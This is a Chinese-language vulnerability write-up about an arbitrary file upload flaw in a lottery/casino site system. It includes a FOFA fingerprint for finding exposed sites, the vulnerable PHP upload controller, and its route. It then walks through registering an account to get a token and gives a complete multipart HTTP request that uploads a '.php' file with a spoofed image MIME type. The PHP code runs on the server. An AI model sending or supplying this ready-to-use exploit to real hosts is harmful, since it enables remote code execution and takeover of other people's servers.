免责声明:文章中涉及的程序(方法)仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者不承担任何法律及连带责任!!!
某火cai票娱乐城系统前台任意文件上传漏洞
原文仅作学习用
Fofa指纹:”/action-sheet-fix.css”
框架:Leavel
漏洞点位于 /api/app/controller/api/WithdrawController.php 控制器的uploadQrCode 方法
通过 $file->move() 上传文件,且过滤不严格,导致任意文件上传漏洞产生
public function uploadQrCode(Request $request)
{
$userId = $request->userId ?? 0;
if (!$userId) {
return json(['code' => 401, 'message' => '请先登录', 'data' => null]);
}
try {
$file = $request->file('file');
if (!$file || !$file->isValid()) {
return json(['code' => 400, 'message' => '请选择要上传的图片', 'data' => null]);
}
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
$uploadMimeType = $file->getUploadMimeType();
if (!in_array($uploadMimeType, $allowedTypes)) {
return json(['code' => 400, 'message' => '只支持 JPG、PNG、GIF、WEBP 格式图片', 'data' => null]);
}
if ($file->getSize() > 5 * 1024 * 1024) {
return json(['code' => 400, 'message' => '图片大小不能超过5MB', 'data' => null]);
}
$ext = $file->getUploadExtension() ?: 'jpg';
$filename = 'qrcode/' . date('Ymd') . '/' . uniqid() . '_' . $userId . '.' . $ext;
$dir = public_path() . '/uploads/qrcode/' . date('Ymd');
if (!is_dir($dir)) {
mkdir($dir, 0755, true);
}
$savePath = public_path() . '/uploads/' . $filename;
$file->move($savePath);
$host = $request->host();
$scheme = $request->header('X-Forwarded-Proto') ?: ($request->header('scheme') ?: 'http');
$url = $scheme . '://' . $host . '/uploads/' . $filename;
return json([
'code' => 0,
'message' => '上传成功',
'data' => [
'url' => $url
]
]);
} catch (\Exception $e) {
\support\Log::error('上传收款码失败: ' . $e->getMessage());
return json(['code' => 500, 'message' => '上传失败: ' . $e->getMessage(), 'data' => null]);
}
}
查看 /api/config/route.php 路由文件,查找 uploadQrCode 方法对应的路由
Route::group('/api/v1', function () {
Route::post('/withdraw/upload-qrcode', [app\controller\api\WithdrawController::class, 'uploadQrCode']);
})->middleware([
app\middleware\AuthMiddleware::class,
]);
实际请求路径为 /api/v1/withdraw/upload-qrcode
然后去主页注册一个账号,这系统邀请码是选填的,可以随便注册
拿到 authorization,之后替换Authorization直接发送请求包
POST /api/v1/withdraw/upload-qrcode HTTP/2
Host: 替换IP
Content-Length: 199
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT2GEWpMD4SoAY0IG
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Authorization: 替换token
------WebKitFormBoundaryT2GEWpMD4SoAY0IG
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
<?php phpinfo();?>
------WebKitFormBoundaryT2GEWpMD4SoAY0IG--


